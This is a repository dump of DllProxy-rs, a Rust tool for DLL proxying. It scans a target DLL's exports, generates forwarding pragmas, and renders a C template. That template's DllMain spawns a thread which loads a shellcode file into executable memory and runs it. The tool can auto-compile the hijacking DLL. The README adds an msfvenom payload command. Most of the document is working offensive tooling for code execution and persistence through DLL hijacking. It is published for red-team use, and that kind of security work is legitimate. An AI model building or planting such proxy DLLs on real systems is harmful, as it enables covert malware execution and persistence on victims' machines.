├── src ├── scripts │ ├── framework.h │ ├── pch.cpp │ ├── pch.h │ └── build-dll.bat └── main.rs ├── .gitignore ├── Cargo.toml ├── Makefile.toml ├── LICENSE └── README.md /src/scripts/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 4 | // Windows Header Files 5 | #include 6 | -------------------------------------------------------------------------------- /src/scripts/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: source file corresponding to the pre-compiled header 2 | 3 | #include "pch.h" 4 | 5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | 12 | 13 | # Added by cargo 14 | 15 | /target 16 | 17 | .fleet/* 18 | 19 | output_*/* 20 | input_*/* -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "dll_proxy_rs" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | pelite = "0.9.1" 10 | clap = { version = "3.1.6", features = ["derive"] } 11 | colored = "2" 12 | indoc = "1.0.7" 13 | handlebars = "4.3.5" 14 | serde_json = "1.0.87" 15 | rand = "0.8.5" 16 | 17 | #[[bin]] 18 | #name = "dllproxy_64" 19 | #path = "src/dll64.rs" 20 | 21 | #[[bin]] 22 | #name = "dllproxy_32" 23 | #path = "src/dll32.rs" -------------------------------------------------------------------------------- /Makefile.toml: -------------------------------------------------------------------------------- 1 | [env] 2 | TARGET_DIR="target\\debug" 3 | 4 | [env.release] 5 | TARGET_DIR="target\\release" 6 | 7 | [tasks.build] 8 | command = "cargo" 9 | args = ["build"] 10 | dependencies = ["copy"] 11 | 12 | [tasks.build-release] 13 | command = "cargo" 14 | args = ["build", "--release"] 15 | dependencies = ["copy"] 16 | 17 | [tasks.copy] 18 | script_runner = "@shell" 19 | script = "xcopy /e /k /h /i src\\scripts ${TARGET_DIR}\\scripts" 20 | 21 | [tasks.format] 22 | install_crate = "rustfmt" 23 | command = "cargo" 24 | args = ["fmt", "--", "--emit=files"] 25 | 26 | [tasks.clean] 27 | command = "cargo" 28 | args = ["clean"] -------------------------------------------------------------------------------- /src/scripts/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: This is a precompiled header file. 2 | // Files listed below are compiled only once, improving build performance for future builds. 3 | // This also affects IntelliSense performance, including code completion and many code browsing features. 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds. 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage. 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // add headers that you want to pre-compile here 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Aan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/scripts/build-dll.bat: -------------------------------------------------------------------------------- 1 | :: adaptation from https://stackoverflow.com/questions/46732926/how-can-i-find-the-latest-visual-studio-developer-command-prompt-in-a-batch-file 2 | 3 | @echo off 4 | :: rem vsvarsall.bat does not work if there are quoted paths on %PATH% 5 | set path=%path:"=% 6 | set ARCH=%1 7 | set DLL_LOC=%2 8 | set OUT_FILE=%3 9 | :: rem this will work for non VS 2017 build machines 10 | if exist "c:\progra~2\Micros~1.0\vc\vcvarsall.bat" ( 11 | call c:\progra~2\Micros~1.0\vc\vcvarsall.bat && goto :SetVSEnvFinished 12 | ) 13 | 14 | :: echo vcvarsall.bat not found, looking for vsdevcmd.bat 15 | :: rem Find and run vsdevcmd.bat 16 | set "VS_PATH=C:\Program Files (x86)\Microsoft Visual Studio\2017" 17 | 18 | :: rem The 2017 folder will not be present in Visual Studio 2017 Preview machines (such as 15.8 preview) 19 | if not exist "%VS_PATH%" ( 20 | set "VS_PATH=C:\Program Files (x86)\Microsoft Visual Studio" 21 | ) 22 | 23 | if not exist "%VS_PATH%" ( 24 | echo "%VS_PATH%" not found. Is Visual Studio installed? && goto :ErrorExit 25 | ) 26 | 27 | for /f "delims=" %%F in ('dir /b /s "%VS_PATH%\vcvarsall.bat" 2^>nul') do set VSDEVCMD_PATH=%%F 28 | echo ********Setup build environment******** 29 | 30 | setlocal 31 | call "%VSDEVCMD_PATH%" %ARCH% 32 | echo [*] Compiling DLL file 33 | cl /nologo /LD %DLL_LOC% /link /out:%OUT_FILE% 34 | endlocal 35 | 36 | goto :SuccessExit 37 | 38 | 39 | :ErrorExit 40 | exit /b 1 41 | 42 | :SuccessExit 43 | exit /b 0 44 | 45 | :SetVSEnvFinished -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DllProxy-rs 2 | Rust Implementation of SharpDllProxy for DLL Proxying Technique 3 | 4 | ## Features 5 | - Everything in SharpDllProxy 6 | - Automatic compile and build DLL 7 | 8 | ## Requirements 9 | - Rust 10 | - Cargo 11 | - [cargo-make](https://github.com/sagiegurari/cargo-make) 12 | - Visual Studio 2019/2022 with Visual C++ Build Tools or Standalone Visual Studio Build Tools 2019/2022 from https://aka.ms/vs/17/release/vs_BuildTools.exe 13 | 14 | ## Build Instructions 15 | 16 | 1. Install Rust and cargo 17 | 2. Install cargo-make 18 | ``` 19 | cargo install --force cargo-make 20 | ``` 21 | 3. Build release app 22 | ``` 23 | cargo make -p release build-release 24 | ``` 25 | 4. Run the app as described at Usage section. 26 | 27 | 28 | ## Usage 29 | Before you can use it, you need to build first. Please read build instructions 30 | 31 | - Help Information 32 | ``` 33 | PS C:>.\dll_proxy_rs.exe -h 34 | DllProxy-rs 1.0 35 | Petruknisme 36 | Rust Implementation of SharpDllProxy for DLL Proxying Technique 37 | 38 | USAGE: 39 | dll_proxy_rs.exe [OPTIONS] --dll --payload 40 | 41 | OPTIONS: 42 | -a, --auto Automatic DLL compilation 43 | -d, --dll Dll File Location to hijack 44 | -h, --help Print help information 45 | -p, --payload Shellcode file to insert in the hijacked dll 46 | -V, --version Print version information 47 | ``` 48 | 49 | - Run without automatic dll compilation 50 | ``` 51 | .\dll_proxy_rs.exe -d -p 52 | ``` 53 | - Run with automatic dll compilation 54 | ``` 55 | .\dll_proxy_rs.exe -d -p -a 56 | ``` 57 | Note: For this example, I'm just using msfvenom to generate the payload 58 | 59 | ``` 60 | msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="DLL Proxy Loading using Rust worked!" -f raw > shellcode.bin 61 | ``` 62 | 63 | ## Demo 64 | 65 | ![](https://i.imgur.com/wqogZyE.gif) 66 | 67 | 68 | ## Thanks to 69 | - Flangvik for his [SharpProxyDll](https://github.com/Flangvik/SharpDllProxy) 70 | 71 | ## References 72 | - https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/ 73 | - https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistence 74 | 75 | ## License 76 | 77 | MIT License 78 | 79 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2022 Petruknisme 2 | // 3 | // This software is released under the MIT License. 4 | // https://opensource.org/licenses/MIT 5 | 6 | extern crate clap; 7 | extern crate colored; 8 | 9 | use clap::Parser; 10 | use colored::Colorize; 11 | use handlebars::{no_escape, Handlebars}; 12 | use indoc::indoc; 13 | use pelite::{FileMap, PeFile, Wrap}; 14 | use rand::distributions::{Alphanumeric, DistString}; 15 | use serde_json::json; 16 | use std::{ 17 | fs::{copy, create_dir_all, File}, 18 | io::{self, Write}, 19 | path::Path, 20 | process::{exit, Command}, 21 | }; 22 | 23 | #[derive(Parser)] 24 | #[clap(name = "DllProxy-rs")] 25 | #[clap(author = "Petruknisme ")] 26 | #[clap(version = "1.0")] 27 | #[clap(about = "Rust Implementation of SharpDllProxy for DLL Proxying Technique ", long_about = None)] 28 | 29 | struct Cli { 30 | /// Dll File Location to hijack 31 | #[clap(short, long)] 32 | dll: String, 33 | 34 | /// Shellcode file to insert in the hijacked dll 35 | #[clap(short, long)] 36 | payload: String, 37 | 38 | /// Automatic DLL compilation 39 | #[clap(short, long)] 40 | auto: bool, 41 | } 42 | 43 | fn main() { 44 | let cli = Cli::parse(); 45 | let dll_loc = cli.dll; 46 | let payload_loc = cli.payload; 47 | let auto = cli.auto; 48 | let tmp_name = format!( 49 | "{}{}", 50 | "tmp", 51 | (Alphanumeric.sample_string(&mut rand::thread_rng(), 4)) 52 | ); 53 | let dll_template = get_dll_template(); 54 | let mut tmp_format = Handlebars::new(); 55 | // tell the handlebars to not escaping string 56 | tmp_format.register_escape_fn(no_escape); 57 | 58 | if !check_path_exist("scripts/") { 59 | println!( 60 | "{}", 61 | "[!] Scripts file doesn't exist. Please copy it from https://github.com/aancw/DllProxy-rs".red() 62 | ); 63 | exit(1); 64 | } 65 | 66 | if check_path_exist(&dll_loc) { 67 | if !check_path_exist(&payload_loc) { 68 | println!( 69 | "{}", 70 | "[!] Shellcode File doesn't exist. Please enter the correct location".red() 71 | ); 72 | exit(1); 73 | } 74 | 75 | let file_noext = Path::new(&dll_loc).file_stem().unwrap().to_string_lossy(); 76 | let file_name = Path::new(&dll_loc).file_name().unwrap().to_string_lossy(); 77 | let in_dir = format!("input_{}", &file_noext); 78 | let out_dir = format!("output_{}", &file_noext); 79 | 80 | println!( 81 | "[+] Creating input folder if not exist {}", 82 | &in_dir.yellow() 83 | ); 84 | create_io_dir(&in_dir); 85 | println!( 86 | "[+] Backup original DLL to input directory at {}", 87 | &in_dir.yellow() 88 | ); 89 | copy_file(&dll_loc, &format!("{}/{}", &in_dir, &file_name)); 90 | 91 | println!( 92 | "[+] Creating output folder if not exist {}", 93 | &out_dir.yellow() 94 | ); 95 | 96 | create_io_dir(&out_dir); 97 | 98 | // Load the desired file into memory 99 | let file_map = FileMap::open(&dll_loc).unwrap(); 100 | 101 | println!( 102 | "[+] Searching exports function from : {}", 103 | &dll_loc.yellow() 104 | ); 105 | 106 | // Process the image file 107 | let mut _exports = Vec::new(); 108 | let mut _dllsystem: &str; 109 | 110 | let mut pragma: Vec = Vec::new(); 111 | match PeFile::from_bytes(&file_map) { 112 | Ok(Wrap::T32(file)) => { 113 | _exports = dump_export32(file); 114 | _dllsystem = "x86"; 115 | } 116 | Ok(Wrap::T64(file)) => { 117 | _exports = dump_export64(file); 118 | _dllsystem = "amd64"; 119 | } 120 | Err(err) => abort(&format!("{}", err)), 121 | } 122 | let export_count = _exports.len(); 123 | println!( 124 | "[+] Redirecting {} function calls from {} to {}.dll", 125 | &export_count, file_name, tmp_name 126 | ); 127 | for i in &_exports { 128 | if !i.starts_with("_") { 129 | pragma.push(format!( 130 | "#pragma comment(linker, \"/export:{}={}.{}\")\n", 131 | i, tmp_name, i 132 | )); 133 | } 134 | } 135 | 136 | let pragma_builders = pragma.join(""); 137 | let templ = tmp_format 138 | .render_template( 139 | &dll_template, 140 | &json!({"PRAGMA": &pragma_builders, "PAYLOAD_PATH": payload_loc.replace(r"\", r"\\")}), 141 | ) 142 | .unwrap(); 143 | let c_file = format!("{}/{}_pragma.cpp", &out_dir, &file_noext); 144 | let dll_file = format!("{}/{}.dll", &out_dir, &file_noext); 145 | let out_file = File::create(&c_file).unwrap(); 146 | println!("[+] Exporting DLL C source code to {}", &c_file); 147 | write!(&out_file, "{}", &templ).expect("Cannot write file"); 148 | println!("[+] Copying original DLL for proxying as {}.dll", &tmp_name); 149 | copy_file(&dll_loc, &format!("{}/{}.dll", &out_dir, &tmp_name)); 150 | if auto { 151 | println!("[+] Compiling C source to DLL {}", &file_name); 152 | compile_dll(_dllsystem, &c_file, &dll_file); 153 | } 154 | } else { 155 | println!("DLL File doesn't exist. Please enter the correct location"); 156 | exit(1); 157 | } 158 | } 159 | 160 | fn dump_export64(file: pelite::pe64::PeFile) -> Vec { 161 | use pelite::pe64::Pe; 162 | 163 | let exports = file.exports().unwrap(); 164 | 165 | let by = exports.by().unwrap(); 166 | 167 | let mut export_list = Vec::new(); 168 | for result in by.iter_names() { 169 | if let (Ok(name), Ok(_export)) = result { 170 | export_list.push(name.to_string()); 171 | } 172 | } 173 | 174 | export_list 175 | } 176 | 177 | fn dump_export32(file: pelite::pe32::PeFile) -> Vec { 178 | use pelite::pe32::Pe; 179 | 180 | let exports = file.exports().unwrap(); 181 | 182 | let by = exports.by().unwrap(); 183 | let mut export_list = Vec::new(); 184 | for result in by.iter_names() { 185 | if let (Ok(name), Ok(_export)) = result { 186 | export_list.push(name.to_string()); 187 | } 188 | } 189 | 190 | export_list 191 | } 192 | 193 | fn abort(message: &str) -> ! { 194 | { 195 | let stderr = io::stderr(); 196 | let mut stderr = stderr.lock(); 197 | let _ = stderr.write(b"dump: "); 198 | let _ = stderr.write(message.as_bytes()); 199 | let _ = stderr.write(b".\n"); 200 | let _ = stderr.flush(); 201 | } 202 | exit(1); 203 | } 204 | 205 | fn check_path_exist(path: &str) -> bool { 206 | return Path::new(path).exists(); 207 | } 208 | 209 | fn create_io_dir(dirname: &String) { 210 | if let Err(e) = create_dir_all(dirname) { 211 | println!("{:?}", e) 212 | } 213 | } 214 | 215 | fn compile_dll(system: &str, source_loc: &str, out_file: &str) { 216 | Command::new("cmd") 217 | .arg("/C") 218 | .arg(format!( 219 | r##".\scripts\build-dll.bat {} {} {}"##, 220 | system, source_loc, out_file 221 | )) 222 | .spawn() 223 | .expect("failed to execute process"); 224 | } 225 | 226 | fn copy_file(from: &String, to: &String) { 227 | if let Err(e) = copy(from, to) { 228 | println!("{:?}", e) 229 | } 230 | } 231 | 232 | fn get_dll_template() -> String { 233 | let template = indoc! { r###" 234 | #include "../scripts/pch.h" 235 | #include 236 | #include 237 | #define _CRT_SECURE_NO_DEPRECATE 238 | #pragma warning (disable : 4996) 239 | {{PRAGMA}} 240 | DWORD WINAPI DoMagic(LPVOID lpParameter) 241 | { 242 | //https://stackoverflow.com/questions/14002954/c-programming-how-to-read-the-whole-file-contents-into-a-buffer 243 | FILE* fp; 244 | size_t size; 245 | unsigned char* buffer; 246 | fp = fopen("{{PAYLOAD_PATH}}", "rb"); 247 | fseek(fp, 0, SEEK_END); 248 | size = ftell(fp); 249 | fseek(fp, 0, SEEK_SET); 250 | buffer = (unsigned char*)malloc(size); 251 | 252 | //https://ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources 253 | fread(buffer, size, 1, fp); 254 | void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 255 | memcpy(exec, buffer, size); 256 | ((void(*) ())exec)(); 257 | return 0; 258 | } 259 | BOOL APIENTRY DllMain(HMODULE hModule, 260 | DWORD ul_reason_for_call, 261 | LPVOID lpReserved 262 | ) 263 | { 264 | HANDLE threadHandle; 265 | switch (ul_reason_for_call) 266 | { 267 | case DLL_PROCESS_ATTACH: 268 | // https://gist.github.com/securitytube/c956348435cc90b8e1f7 269 | // Create a thread and close the handle as we do not want to use it to wait for it 270 | threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL); 271 | CloseHandle(threadHandle); 272 | case DLL_THREAD_ATTACH: 273 | break; 274 | case DLL_THREAD_DETACH: 275 | break; 276 | case DLL_PROCESS_DETACH: 277 | break; 278 | } 279 | return TRUE; 280 | } 281 | "###}; 282 | template.to_string() 283 | } 284 | --------------------------------------------------------------------------------